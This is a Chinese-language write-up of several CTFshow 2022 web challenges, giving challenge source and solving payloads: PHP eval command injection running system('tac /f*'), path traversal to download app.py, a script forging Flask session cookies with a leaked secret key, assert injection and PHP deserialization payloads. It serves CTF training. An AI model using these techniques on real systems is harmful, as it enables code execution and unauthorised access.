CTFshow 2022 菜狗杯部分WEB WP
文章目录
- web签到
- web2 c0me_t0_s1gn
- 我的眼里只有$
- 抽老婆
- 一言既出
- 驷马难追
- TapTapTap
- webshell
- 无一幸免
- 遍地飘零
- 小舔田
web签到
套娃题,自己本地搭环境,慢慢试就试出来了
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
Payload:
cookie
CTFshow-QQ群:a
post
a=b
get
?b=c&c[6][0][7][5][8][0][9][4][4]=system('tac /f*');
web2 c0me_t0_s1gn
右键发现js源代码,将js代码全部复制下来,放在js在线运行工具里,在最后加上g1ve_flag();
两个拼接得到flag
我的眼里只有$
题目
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。
针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
套娃呗,一直套呗。
Payload
_=a1&a1=a2&a2=a3&a3=a4&a4=a5&a5=a6&a6=a7&a7=a8&a8=a9&a9=a10&a10=a11&a11=a12&a12=a15&a15=a16&a16=a17&a17=a18&a18=a19&a19=a20&a20=a21&a21=a22&a22=a23&a23=a24&a24=a25&a25=a26&a26=a27&a27=a28&a28=a29&a29=a30&a30=a31&a31=a32&a32=a33&a33=a34&a34=a35&a35=a36&a36=a37&a37=system('tac /f*');
抽老婆
检查源代码发现存在文件下载
访问download发现debug页面
可以实现任意文件下载,除了flag。
download?file=../../app.py
下载源码发现
有个session校验,秘钥源码已经给出
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
用脚本跑一下
import hashlibimport flaskfrom flask.json.tag import TaggedJSONSerializerfrom itsdangerous import *session = {'isadmin': True}secret = 'tanji_is_A_boy_Yooooooooooooooooooooo!'print(URLSafeSerializer(secret_key=secret,salt='cookie-session', # Flask固定的盐,盐和secret会先经过一轮sha1运算,其结果作为下一轮盐和cookie内容生成签名。serializer=TaggedJSONSerializer(),signer=TimestampSigner,signer_kwargs={'key_derivation': 'hmac','digest_method': hashlib.sha1}).dumps(session))
得到session值
把这里的修改即可得到flag
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
}
Payload:
?num=114514%2B1805296
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514 && check($_GET['num'])){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
} function check($str){return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
多了个过滤,不过没有影响
Payload:
?num=114514%2B1805296
TapTapTap
分析habibiScript.js代码发现
在控制台执行
访问/secret_path_you_do_not_know/secretfile.txt
webshell
很简单的反序列化
Payload:
<?php class Webshell {public $cmd = 'ls';public function __construct() {$this->cmd='tac f*';}}$a=new Webshell();echo urlencode(serialize($a));?>
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22tac+f%2A%22%3B%7D
无一幸免
<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die($flag);}else{die("nonono!");}
}
Payload:
?0=0
遍地飘零
<?php
include "flag.php";
highlight_file(__FILE__);$zeros="000000000000000000000000000000";foreach($_GET as $key => $value){$$key=$$value;
}if ($flag=="000000000000000000000000000000"){echo "好多零";
}else{echo "没有零,仔细看看输入有什么问题吧";var_dump($_GET);
}
Payload:
?_GET=flag
小舔田
<?php
include "flag.php";
highlight_file(__FILE__);class Moon{public $name="月亮";public function __toString(){return $this->name;}public function __wakeup(){echo "我是".$this->name."快来赏我";}
}class Ion_Fan_Princess{public $nickname="牛夫人";public function call(){global $flag;if ($this->nickname=="小甜甜"){echo $flag;}else{echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";}}public function __toString(){$this->call();return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;}
}$a=new Moon();
$a->name=new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
Payload:
?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D
CTFshow 2022 菜狗杯部分WEB WP相关推荐
- ctfshow【菜狗杯】misc
文章目录 web web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 无一幸免_FIXED 传说之下( ...
- 菜狗杯Misc抽象画wp
目录 一.拿到题目先干嘛 二.具体的解密操作 1.把文本放到CyberChef中用Magic解密 2.把完整的解密内容复制出来 3.打开010并以hex格式粘贴内容 4.点一下HEX 5.保存成png ...
- ctf菜狗杯OSINT wp
菜狗杯OSINTwp Fish And Turtles 由B-6448和8月27日可以查到由早上赶飞机可以得知flag ctfshow{成都-厦门-3U6953} 碧海蓝天 把他放到搜狗识图![可以得 ...
- 纵横杯2020 web wp
title: 纵横杯2020 web wp date: 2020-12-26 18:19:03 tags: CTF categories: 比赛 link:https://yq1ng.github.i ...
- 2022网鼎杯青龙组wp
本次网鼎杯的Crypto部分其实还是比较简单的,解出的人数也较多.感觉405题略难一些,花了比较多的时间,恰巧最后几小时给出的162所用到的求解方式之前遇到过,有幸作为一个CTF新手把这次的比赛密码学 ...
- CTFSHOW 菜狗杯--WEB
WEB签到 eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); 简单的解释下这个嵌 ...
- CTFSHOW菜狗杯 web
文章目录 web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 传说之下(雾) 算力超群 算力升级 2 ...
- ctfshow 菜狗杯 taptap wp
启动环境 小游戏 看源码 查找关键字score 解码得 访问该路径,拿到flag
- ctfshow菜狗杯 web 我的眼里只有$
萌新入坑,防懒细胞滋生 题目有36个$,给出的最后一个$_可以看做变量0 生成从变量1到变量35,最后赋给变量35的值为真正想执行的命令. my_str = '_' for i in range(26 ...
- ctfshow菜狗杯webwp
web签到 <?php error_reporting(0); highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CT ...
最新文章
- python pip换源方法
- 判断滚动条是否到某个位置,还有滑动的方向,以此来判断什么时候阻止滚动条滚动...
- [NOI2014]动物园 【kmp】
- 启动vue项目报错:ENOSPC: System limit for number of file watchers reached, watch
- Linux中使用Msmtp+mutt+shell自动发邮件程序安装说明
- 弄懂webpack,只要看这一片就够了(文末有福利)
- 网页文字无法复制解决方法
- IDEA或Webstorm设置Terminal终端字体大小
- 2012 php mysql_Apache+Mysql+PHP(win sercer2012)
- python之入门,你好,中国
- zookeeper集群为什么是单数
- 网页校验器:含有Flash的网页如何通过校验 ?
- python--简易员工信息系统编写
- MASK RCNN在tensorflow 2.5中运行
- 错误:Error:java.lang.RuntimeException: Some file crunching failed, see logs for details解决方案
- 在自己的APP或网页中调用高德地图网页版
- iOS9获取手机序列号serialNumber(UDID)
- 物理信息融合系统CPS---数据流(SDF/DDF)
- Myeclipse9.0 正式版64位JDK 之win7下的完美破解
- VsCode+OpenOCD 开发stm32系列
热门文章
- 基于rrweb框架对web 页面录制与回放
- 如何提高Python编程能力?
- 对于流媒体的一些认识
- 在SQL中创建时间维度表
- linux skb 存放数据,请教关于在linux网络驱动层对skb网络数据..._网络编辑_帮考网...
- MR:二:什么是MR混合现实技术?
- Object.defineProperty()详解
- FRI.Django 中的装饰器及 Auth 模块
- win10音频服务器未修复,win10十月更新音频输出设备未安装错误修复教程
- 腾讯Bugly工具介绍节选